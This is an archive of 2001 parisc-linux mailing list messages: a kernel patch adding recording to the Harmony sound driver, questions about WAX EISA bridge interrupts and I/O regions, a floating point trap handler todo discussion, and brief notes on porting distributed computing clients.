X-Trace: ger.gmane.org 1416619933 16620 80.91.229.3 (22 Nov 2014 01:32:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:13 +0000 (UTC)
Cc: t.simonnet@esiee.fr
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar  6 14:54:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 56A964A19
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Mar 2001 14:54:14 -0700 (MST)
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP
	id 1D825D15E9; Tue,  6 Mar 2001 22:54:12 +0100 (CET)
Original-Sender: delahaym@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10464

This is a multi-part message in MIME format.
--------------EB42E961D7878AECC355519F
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

If you want to record your voice on your favorite workstation :)
-- 
Matthieu Delahaye
ESIEE Team
http://www.esiee.fr/puffin
--------------EB42E961D7878AECC355519F
Content-Type: text/plain; charset=us-ascii;
 name="harmony.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="harmony.diff"

diff -Nru linux.old/drivers/sound/harmony.c linux.new/drivers/sound/harmony.c
--- linux.old/drivers/sound/harmony.c	Tue Mar  6 22:37:56 2001
+++ linux.new/drivers/sound/harmony.c	Tue Mar  6 22:41:27 2001
@@ -69,11 +69,13 @@
 	- modularisation, 
 	- cleanups
 
+2001-03-07: Matthieu Delahaye <delahaym@esiee.fr>
+        - added record functionality
+
 TODO:
 -----
 	- update/cleanup the above documentation
 	- fix CHECK_xxx functions -> use newer cache flushing functions 
-	- add recording functionality
 	- test if loading/unloading this driver as module works
 */
 
@@ -243,13 +245,21 @@
 	u8 sample_rate;
 	u8 stereo_select;	/* 1 = stereo, 0 = mono */
 	int format_initialized;
-	int suspended;
-	int blocked;
-	int done;
-	wait_queue_head_t wq;
-	int first_filled;	/* first buffer containing data (next to play) */
-	int nb_filled; 
+	int suspended_playing;
+	int suspended_recording;
 	
+	int blocked_playing;
+	int blocked_recording;
+	
+	int done;
+	wait_queue_head_t wq_play, wq_record;
+	int first_filled_play;	/* first buffer containing data (next to play) */
+	int nb_filled_play; 
+	int first_filled_record;
+	int nb_filled_record;
+	int playing;
+	int recording;
+		
 	int audio_open, mixer_open;
 	int dsp_unit, mixer_unit;
 };
@@ -262,13 +272,18 @@
 
 
 /* Until we have recording working, this is where we're putting the recording data. */
-static char graveyard[4096] 
-		__attribute__((aligned(4096)));
 
 static struct harmony_dev harmony;
 
-static unsigned char aligned_buf[MAX_BUFS * HARMONY_BUF_SIZE] 
-		__attribute__ ((aligned (HARMONY_BUF_SIZE))); 
+static unsigned char played_buf[MAX_BUFS * HARMONY_BUF_SIZE] 
+                     __attribute__ ((aligned (HARMONY_BUF_SIZE))); 
+static unsigned char recorded_buf[MAX_BUFS * HARMONY_BUF_SIZE]
+                     __attribute__ ((aligned (HARMONY_BUF_SIZE)));
+static char silent[HARMONY_BUF_SIZE] 
+		__attribute__((aligned(4096)));
+static char graveyard[HARMONY_BUF_SIZE] 
+		__attribute__((aligned(4096)));
+
 
 
 static void harmony_wait_CNTL(void)
@@ -347,12 +362,15 @@
 
 static int harmony_disable_interrupts(void) 
 {
+	harmony_wait_CNTL();
+	
 	gsc_writel(0, &(harmony.hpa->dstatus)); 
 	return 0;
 }
 
 static int harmony_enable_interrupts(void) 
 {
+	harmony_wait_CNTL();
 	gsc_writel(DSTATUS_IE, &(harmony.hpa->dstatus)); 
 	return 0;
 }
@@ -379,7 +397,7 @@
 		default:			silence_char = 0;
 	}
 
-	memset(aligned_buf+start, silence_char, length);
+	memset(played_buf+start, silence_char, length);
 	return 0;
 }
 
@@ -393,19 +411,28 @@
 	harmony.frames_so_far = 0;
 	harmony.done = 0; 
 	harmony.format_initialized = 0;
-	harmony.suspended = 0;
-	harmony.blocked = 0;
-	harmony.first_filled = 0;
-	harmony.nb_filled = 0;
-	init_waitqueue_head(&harmony.wq);
+	harmony.suspended_playing = 1;
+	harmony.blocked_playing = 0;
+	harmony.suspended_recording =1;
+	harmony.blocked_recording=0;
+	harmony.first_filled_play = 0;
+	harmony.nb_filled_play = 0;
+	harmony.first_filled_record = 0;
+	harmony.nb_filled_record = 0;
+	
+	init_waitqueue_head(&harmony.wq_play);
+	init_waitqueue_head(&harmony.wq_record);
 	
 	/* Start off in a balanced mode. */
 
+	harmony_set_control(HARMONY_DF_16BIT_LINEAR, HARMONY_SR_44KHZ, HARMONY_SS_STEREO);
+	harmony_update_control();
+
 	/* Clear out all the buffers and flush to cache */
-	harmony_silence(aligned_buf, 0, HARMONY_BUF_SIZE*MAX_BUFS);
-	CHECK_WBACK_INV(aligned_buf, HARMONY_BUF_SIZE*MAX_BUFS);
+	harmony_silence(played_buf, 0, HARMONY_BUF_SIZE*MAX_BUFS);
+	CHECK_WBACK_INV(played_buf, HARMONY_BUF_SIZE*MAX_BUFS);
 	
-	harmony_mixer_mute_all();
+//	harmony_mixer_mute_all();
 
 	harmony_wait_CNTL();
 
@@ -434,15 +461,52 @@
 
 static ssize_t harmony_audio_read(struct file *file,
                                 char *buffer,
-                                size_t count,
+                                size_t size_count,
                                 loff_t *ppos)
 {
-	DPRINTK(KERN_ERR "%s: invalid read\n", __FUNCTION__);
-	return -ENODEV;
+	int total_count = (int) size_count;
+	int count = 0;
+	int buf_to_read;
+
+	while (count<total_count) {
+		/* Wait until we're out of control mode */
+		harmony_wait_CNTL();
+		
+		/* Figure out which buffer to fill in */
+		
+		if(harmony.nb_filled_record<=2) {
+			harmony.blocked_recording = 1;
+		        if(harmony.suspended_recording) {
+				harmony.suspended_recording=0;
+				harmony_enable_interrupts();
+			}
+							
+			interruptible_sleep_on(&(harmony.wq_record));
+			harmony.blocked_recording=0;
+		}
+		if(harmony.nb_filled_record<2) return -EBUSY;
+		
+		buf_to_read = harmony.first_filled_record;
+		
+		/* Figure out the size of the frame */
+	
+		/* Copy the page to an aligned buffer */
+		copy_to_user(buffer+count, 
+			     recorded_buf+(HARMONY_BUF_SIZE*buf_to_read), 
+			     HARMONY_BUF_SIZE);
+		
+		harmony.nb_filled_record--;
+		harmony.first_filled_record++;
+		harmony.first_filled_record%=MAX_BUFS;
+				
+		count += 4096;
+	}
+	return count;
 }
 
 
 
+
 /* Here is the place where we try to recognize file format.
    Sun/NeXT .au files began with the string .snd
    At offset 12 is specified the encoding.
@@ -531,12 +595,16 @@
 		harmony_wait_CNTL();
 
 		/* Figure out which buffer to fill in */
-		while (harmony.nb_filled+2 >= MAX_BUFS) {
-			harmony.blocked = 1;
-			interruptible_sleep_on(&(harmony.wq));
+		
+		if(harmony.nb_filled_play+2 >= MAX_BUFS) {
+			harmony.blocked_playing = 1;
+			interruptible_sleep_on(&(harmony.wq_play));
+			harmony.blocked_playing=0;
 		}
-	
-		buf_to_fill = (harmony.first_filled+harmony.nb_filled) % MAX_BUFS;
+		if(harmony.nb_filled_play+2 >= MAX_BUFS) return -EBUSY;
+		
+		
+		buf_to_fill = (harmony.first_filled_play+harmony.nb_filled_play) % MAX_BUFS;
 
 		/* Figure out the size of the frame */
 		if ((total_count-count) > HARMONY_BUF_SIZE) {
@@ -545,33 +613,26 @@
 			frame_size = total_count - count;
 			/* Clear out the buffer, since there we'll only be 
 			   overlaying part of the old buffer with the new one */
-			harmony_silence(aligned_buf, HARMONY_BUF_SIZE*buf_to_fill, 
+			harmony_silence(played_buf, HARMONY_BUF_SIZE*buf_to_fill, 
 					HARMONY_BUF_SIZE);
 		}
 
 		/* Copy the page to an aligned buffer */
-		copy_from_user(aligned_buf+(HARMONY_BUF_SIZE*buf_to_fill), 
+		copy_from_user(played_buf+(HARMONY_BUF_SIZE*buf_to_fill), 
 				buffer+count, frame_size);
 	
-		harmony.nb_filled++;
+		harmony.nb_filled_play++;
 
-		CHECK_WBACK_INV(aligned_buf, HARMONY_BUF_SIZE*MAX_BUFS);
+		CHECK_WBACK_INV(played_buf, HARMONY_BUF_SIZE*MAX_BUFS);
 		
 		harmony.done = 0;
 		count += frame_size;
 
-		if (harmony.frames_so_far == 1) {
-			harmony_mixer_unmute();
-		   	harmony_enable_interrupts();
-		}
-
-		if (harmony.suspended) {
-			harmony.suspended = 0;
+		if (harmony.suspended_playing && (harmony.nb_filled_play>=4)) {
 			harmony_enable_interrupts();
 		}
-		
-		harmony.frames_so_far++;
 	}
+	
 	return count;
 }
 
@@ -678,37 +739,63 @@
 
 	/* Setup the hpa */
 	hpa = ((struct harmony_dev *)dev)->hpa;
+	harmony_wait_CNTL();
 	
 	/* Read dstatus and pcuradd (the current address) */
 	dstatus = gsc_readl(&hpa->dstatus);
 	
 	/* Turn off interrupts */
 	harmony_disable_interrupts();
-	dstatus = gsc_readl(&hpa->dstatus);
 	
 	/* Check if this is a request to get the next play buffer */
 	if (dstatus & DSTATUS_PN) {
-		if (!harmony.nb_filled) {
-			harmony.suspended = 1;
+		if (!harmony.nb_filled_play) {
+			harmony.suspended_playing = 1;
+			harmony_silence(silent, 0,HARMONY_BUF_SIZE);
+			gsc_writel(__pa(silent), &hpa->pnxtadd);
+						
+			if(!harmony.suspended_recording) {
+				harmony_enable_interrupts();
+			} 
 		} else {
-			gsc_writel(__pa(aligned_buf+(HARMONY_BUF_SIZE*harmony.first_filled)), 
+			harmony.suspended_playing=0;
+			gsc_writel(__pa(played_buf+(HARMONY_BUF_SIZE*harmony.first_filled_play)), 
 					&hpa->pnxtadd);
-			harmony.first_filled++;
-			harmony.first_filled %= MAX_BUFS;
-			harmony.nb_filled--;
-			harmony_enable_interrupts();
+			harmony.first_filled_play++;
+			harmony.first_filled_play %= MAX_BUFS;
+			harmony.nb_filled_play--;
+			
+		       	harmony_enable_interrupts();
 		}
-
-		if (harmony.blocked) {
-			wake_up_interruptible(&(harmony.wq));
-			harmony.blocked = 0;
+		if (harmony.blocked_playing) {
+			wake_up_interruptible(&(harmony.wq_play));
 		}
 	}
 	
 	/* Check if we're being asked to fill in a recording buffer */
 	if (dstatus & DSTATUS_RN) {
-		/* Not supported yet */
-		gsc_writel(__pa(graveyard), &hpa->rnxtadd);
+		if((harmony.nb_filled_record+2>=MAX_BUFS) || harmony.suspended_recording)
+		{
+			harmony.nb_filled_record=0;
+			harmony.first_filled_record=0;
+			harmony.suspended_recording = 1;
+			gsc_writel(__pa(graveyard), &hpa->rnxtadd);
+			if(!harmony.suspended_playing)
+				harmony_enable_interrupts();
+		} else {
+			int buf_to_fill;
+			buf_to_fill=(harmony.first_filled_record+harmony.nb_filled_record)%MAX_BUFS;
+			CHECK_WBACK_INV(recorded_buf+(HARMONY_BUF_SIZE*buf_to_fill), HARMONY_BUF_SIZE);
+			gsc_writel(__pa(recorded_buf+(HARMONY_BUF_SIZE*(buf_to_fill))),&hpa->rnxtadd);
+			harmony.nb_filled_record++;
+			harmony_enable_interrupts();
+		}
+
+		if (harmony.blocked_recording && 
+		    harmony.nb_filled_record>3) {
+						
+			wake_up_interruptible(&(harmony.wq_record));
+		}
 	}
 }
 
@@ -738,13 +825,12 @@
 		return -EFAULT;
 	}
 	
-	harmony_set_control(HARMONY_DF_16BIT_LINEAR, HARMONY_SR_22KHZ, HARMONY_SS_MONO);

From - Thu Nov 08 21:16:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: 5116@telia.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] TODO-list entry of "HIL keyboard driver needs  u
 pdating"
Date: Tue, 6 Mar 2001 22:56:46 +0100 (CET)
Lines: 71
Approved: news@gmane.org
Message-ID: <200103062156.WAA06037@zaphod.halden.lillfab.se>
References: <3AA3C40A.C3D320FC@linuxcare.com>
Reply-To: 5116@telia.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/plain; CHARSET=US-ASCII
X-Trace: ger.gmane.org 1416619933 16622 80.91.229.3 (22 Nov 2014 01:32:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alex deVries <alex@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar  6 14:56:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailb.telia.com (mailb.telia.com [194.22.194.6])
	by dsl2.external.hp.com (Postfix) with ESMTP id 02B044A19
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Mar 2001 14:56:54 -0700 (MST)
Original-Received: from zaphod.halden.lillfab.se (t1o70p24.telia.com [62.20.148.24])
	by mailb.telia.com (8.9.3/8.9.3) with ESMTP id WAA29129;
	Tue, 6 Mar 2001 22:56:48 +0100 (CET)
Original-Received: (from danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) id WAA06037;
	Tue, 6 Mar 2001 22:56:46 +0100
In-Reply-To: <3AA3C40A.C3D320FC@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10465

On  5 Mar, Alex deVries wrote:

> I'm Alex.
> 
> The reason that I think I have HIL specs is because it's mentioned in
> the WAX documentation I have under NDA.  I can't send out copies of it,
> but I can give information necessary for writing code.

Does this include the WAX EISA bridge? 

In that case I have a few questions to you... I hope you don't mind.

First about different WAXes...

There seems to be two major versions here

- one with sversion 0x76 which is found on ASP based machines (715/old,
           730, 735, 750, 755) 

- one set of two with sversions 0x8e and 0x90 which are found on LASI
           based machines where the one with sversion 0x90 is the 
           EISA BA. 
           These seem to be found on the 715/new, 725, some B, C, D, J
           and R-class machines) 

How are these tow WAX EISA BA's different? Do you know?

1) About interrupts.

How are they implemented?
- If I assume that the interrupt controller is like a ASP or LASI with
the following registers, am I right, then?

#define OFFSET_IRR 0x0000   /* Interrupt request register */
#define OFFSET_IMR 0x0004   /* Interrupt mask register */
#define OFFSET_IPR 0x0008   /* Interrupt pending register */
#define OFFSET_ICR 0x000C   /* Interrupt control register */
#define OFFSET_IAR 0x0010   /* Interrupt address register */

If so how are the interrupts numbered is bit 0 irq 0 or 15 or?

How is the interrupt connected upwards? IRQ line 23 on the ASP is
labeled EISA is this where WAX EISA interrupts go? 

2) On I/O regions

I thinks that there are two I/O regions in the WAX EISA: one for port
I/O which seem to start at the hpa+0 and then a second one (for MMIO i
suppose) which starts at 0x100000 if this is a EISA bus address or
host linear address I don't know.

Question is: what do the docs say?

I guess I need to do something with MMIO so that ioremap() and 
virt_to_bus() work as expected. 
 
I guess I can not count of this thing being DMA coherent on a 715/old?

It seems from the existing source that there should be a version
register at 0x7000 but it seems to read 0xffff on my machine...


Best Regards, 

Daniel
-- 






From - Thu Nov 08 21:16:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mattias Wadenstein <maswan@acc.umu.se>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] TODO-list entry about floating point completion and trap handler
Date: Wed, 7 Mar 2001 01:12:11 +0100 (MET)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.33.0103070106100.18362-100000@tiger.acc.umu.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619934 16623 80.91.229.3 (22 Nov 2014 01:32:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:14 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar  6 17:12:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from khan.acc.umu.se (khan.acc.umu.se [130.239.18.139])
	by dsl2.external.hp.com (Postfix) with ESMTP id 69EF04A19
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Mar 2001 17:12:13 -0700 (MST)
Original-Received: from tiger.acc.umu.se (maswan@tiger.acc.umu.se [130.239.18.209])
	by khan.acc.umu.se (8.11.2/8.11.2) with ESMTP id f270CBS21498
	for <parisc-linux@lists.parisc-linux.org>; Wed, 7 Mar 2001 01:12:12 +0100 (MET)
Xref: news.gmane.org gmane.linux.ports.parisc:10466

I'm still migrating the outdated todo list into the BTS.

I found these two:
     * Finish floating point completion and trap handler. (Volunteer?)
     * Verify floating point trap behaviour is correct (Volunteer?)

And it seems that it is unclear if they need to be done. If anyone knows
that they need to be done, please submit a bug regarding that to the bug
tracking system.

/Mattias Wadenstein





From - Thu Nov 08 21:16:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] TODO-list entry about floating point completion and trap handler
Date: Tue, 06 Mar 2001 18:28:56 -0800
Lines: 33
Approved: news@gmane.org
Message-ID: <200103070228.SAA04517@milano.cup.hp.com>
References: <Pine.GSO.4.33.0103070106100.18362-100000@tiger.acc.umu.se>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619934 16624 80.91.229.3 (22 Nov 2014 01:32:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Mattias Wadenstein <maswan@acc.umu.se>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar  6 19:25:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1EC784A19
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Mar 2001 19:25:47 -0700 (MST)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 70221D8B; Tue,  6 Mar 2001 18:25:42 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id SAA04517;
	Tue, 6 Mar 2001 18:28:58 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 07 Mar 2001 01:12:11 PST."
             <Pine.GSO.4.33.0103070106100.18362-100000@tiger.acc.umu.se> 
Xref: news.gmane.org gmane.linux.ports.parisc:10467

Mattias Wadenstein wrote:
> I'm still migrating the outdated todo list into the BTS.

yes - and doing a respectable job of it too! :^)

> I found these two:
>      * Finish floating point completion and trap handler. (Volunteer?)
>      * Verify floating point trap behaviour is correct (Volunteer?)

I think the reason was not all FP coprocessors implement all
FP instructions in silicon. Some of the insn's defined by the
arch need to be implemented in FP emulation.

Anyone know real details?
Or where to look for them?

| And it seems that it is unclear if they need to be done. If anyone knows
| that they need to be done, please submit a bug regarding that to the bug
| tracking system.

We currently enable the FPU if PDC tells us the CPU has one.
All the CPUs we support have one (712/80i might be an exception).
So it also depends on what type of code gcc generates or what
kind of hand written asm people write for special applications.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <alex@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] TODO-list entry of "HIL keyboard driver needs  
 updating"
Date: Wed, 07 Mar 2001 04:00:27 -0500
Organization: The Puffins at Linuxcare
Lines: 89
Approved: news@gmane.org
Message-ID: <3AA5F8AB.A75EEB2B@linuxcare.com>
References: <200103062156.WAA06037@zaphod.halden.lillfab.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619934 16627 80.91.229.3 (22 Nov 2014 01:32:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: 5116@telia.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar  7 01:51:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hoteldns02.stsn.com (p99.usslc13.stsn.com [208.32.226.99])
	by dsl2.external.hp.com (Postfix) with ESMTP id 609634A19
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Mar 2001 01:51:01 -0700 (MST)
Original-Received: from linuxcare.com ([10.80.192.240])
	by hoteldns02.stsn.com (8.11.0/8.11.0) with SMTP id f278oJq19248;
	Wed, 7 Mar 2001 01:50:20 -0700
Original-Sender: adevries@hoteldns02.stsn.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10468

5116@telia.com wrote:
> Does this include the WAX EISA bridge?

Yeah, it's the WAX ERS.  It has a Qtip on the front page.

> In that case I have a few questions to you... I hope you don't mind.

Not at all, I'm happy someone with coding time is asking them. I'm in a
hotel room in a different country than my docs, but I'll be reunited
with them in a crushing airport scene on Friday, hopefully.

> First about different WAXes...
> There seems to be two major versions here
> - one with sversion 0x76 which is found on ASP based machines (715/old,
>            730, 735, 750, 755)
> - one set of two with sversions 0x8e and 0x90 which are found on LASI
>            based machines where the one with sversion 0x90 is the
>            EISA BA.
>            These seem to be found on the 715/new, 725, some B, C, D, J
>            and R-class machines)
> How are these tow WAX EISA BA's different? Do you know?

My understanding is that one of them is the bridge portion of WAX, the
other is all the other WAX devices like HIL and RS232. It actually
doesn't much matter so long as we load the right driver based on the
right signatures.  I had thought I'd done that in the driver already.

And yes, the WAX does have RS232 ports, and it looks like the 715/new
machines have one serial port on Lasi, the other on WAX.

> 1) About interrupts.
> 
> How are they implemented?
> - If I assume that the interrupt controller is like a ASP or LASI with
> the following registers, am I right, then?
> 
> #define OFFSET_IRR 0x0000   /* Interrupt request register */
> #define OFFSET_IMR 0x0004   /* Interrupt mask register */
> #define OFFSET_IPR 0x0008   /* Interrupt pending register */
> #define OFFSET_ICR 0x000C   /* Interrupt control register */
> #define OFFSET_IAR 0x0010   /* Interrupt address register */
> 
> If so how are the interrupts numbered is bit 0 irq 0 or 15 or?
> 
> How is the interrupt connected upwards? IRQ line 23 on the ASP is
> labeled EISA is this where WAX EISA interrupts go?

I'll dig this up, I do have that info.

I tried to trigger interrupts, but never actually got this going.

> 2) On I/O regions
> 
> I thinks that there are two I/O regions in the WAX EISA: one for port
> I/O which seem to start at the hpa+0 and then a second one (for MMIO i
> suppose) which starts at 0x100000 if this is a EISA bus address or
> host linear address I don't know.

The remapping functions are pretty wild, and I'd thought I'd already
committed those.  It's a horrible bit twisting and shifting thing.

> Question is: what do the docs say?
> I guess I need to do something with MMIO so that ioremap() and
> virt_to_bus() work as expected.
> 
> I guess I can not count of this thing being DMA coherent on a 715/old?

There's some gross coherency problems that are going to be difficult to
outline without actually showing you the doc (which I'm okay with, but
you need to talk to HP to get that sorted out).

> It seems from the existing source that there should be a version
> register at 0x7000 but it seems to read 0xffff on my machine...

Let me find out about that as well, I did get this part to work at some
point.

Hang on a few days, I'll dig this up for you.

- Alex

-- 
Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Putting open source to work.




From - Thu Nov 08 21:16:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pete" <plaven@ozemail.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems on 715/50
Date: Wed, 7 Mar 2001 20:38:12 +1100
Lines: 10
Approved: news@gmane.org
Message-ID: <3AA69C34.26615.264408@localhost>
References: <20010305093830.B3C9BD1588@mail.esiee.fr>
Reply-To: plaven@ozemail.com.au
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416619935 16629 80.91.229.3 (22 Nov 2014 01:32:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:15 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar  7 02:38:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta02.mail.mel.aone.net.au (mta02.mail.au.uu.net [203.2.192.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1EE3F4A19
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Mar 2001 02:38:29 -0700 (MST)
Original-Received: from piglet.sspl.net.au ([210.84.115.96])
          by mta02.mail.mel.aone.net.au with ESMTP
          id <20010307093813.LZUR16576.mta02.mail.mel.aone.net.au@piglet.sspl.net.au>
          for <parisc-linux@lists.parisc-linux.org>;
          Wed, 7 Mar 2001 20:38:13 +1100
Original-Received: from winnie.sspl.net.au (barbar@winnie. [192.168.10.9])
	by piglet.sspl.net.au (8.9.3/8.9.3) with ESMTP id UAA09851
	for <parisc-linux@lists.parisc-linux.org>; Wed, 7 Mar 2001 20:38:08 +1100
Priority: normal
In-reply-to: <20010305093830.B3C9BD1588@mail.esiee.fr>
X-mailer: Pegasus Mail for Win32 (v3.12c)
Xref: news.gmane.org gmane.linux.ports.parisc:10469

> I'm currently porting the SETI@home client for PaLinux :o) 

Nice!!! Now I really have to dig that 712 out and get it running!  :)


Pete.





From - Thu Nov 08 21:16:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "TEUWEN,ROEL (Non-HP-Belgium,ex1)" <roel_teuwen@non.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Problems on 715/50
Date: Wed, 7 Mar 2001 10:52:36 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <1739BFE55535D411932A00D0B747A673BC0865@uderzo.belgium.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416619935 16633 80.91.229.3 (22 Nov 2014 01:32:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "'plaven@ozemail.com.au'" <plaven@ozemail.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar  7 02:52:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnmg1.net.external.hp.com (bbnnmg1.net.external.hp.com [155.208.254.184])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2FE294A19
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Mar 2001 02:52:40 -0700 (MST)
Original-Received: from isoit213.bbn.hp.com (isoit213.bbn.hp.com [15.136.193.32])
	by bbnmg1.net.external.hp.com (Postfix) with ESMTP
	id C4E8048A; Wed,  7 Mar 2001 10:51:56 +0100 (MET)
Original-Received: from meuse.BELGIUM.HP.COM (meuse.belgium.hp.com [15.160.6.250])
	by isoit213.bbn.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail) with SMTP id KAA05811;
	Wed, 7 Mar 2001 10:52:38 +0100 (MET)
Original-Received: from 15.160.6.250 by meuse.BELGIUM.HP.COM (InterScan E-Mail VirusWall NT); Wed, 07 Mar 2001 10:52:37 +0100 (W. Europe Standard Time)
Original-Received: by meuse.belgium.hp.com with Internet Mail Service (5.5.2650.21)
	id <GLFZLAKA>; Wed, 7 Mar 2001 10:52:37 +0100
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:10470

Just to let you know that I already ported the distributed.net client
(www.distributed.net) to parisc-linux (in case you don't believe in aliens
;-))

regards,
Roel

-----Original Message-----
From: Pete [mailto:plaven@ozemail.com.au]
Sent: Wednesday, March 07, 2001 10:38 AM
To: parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] Problems on 715/50



> I'm currently porting the SETI@home client for PaLinux :o) 

Nice!!! Now I really have to dig that 712 out and get it running!  :)


Pete.



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
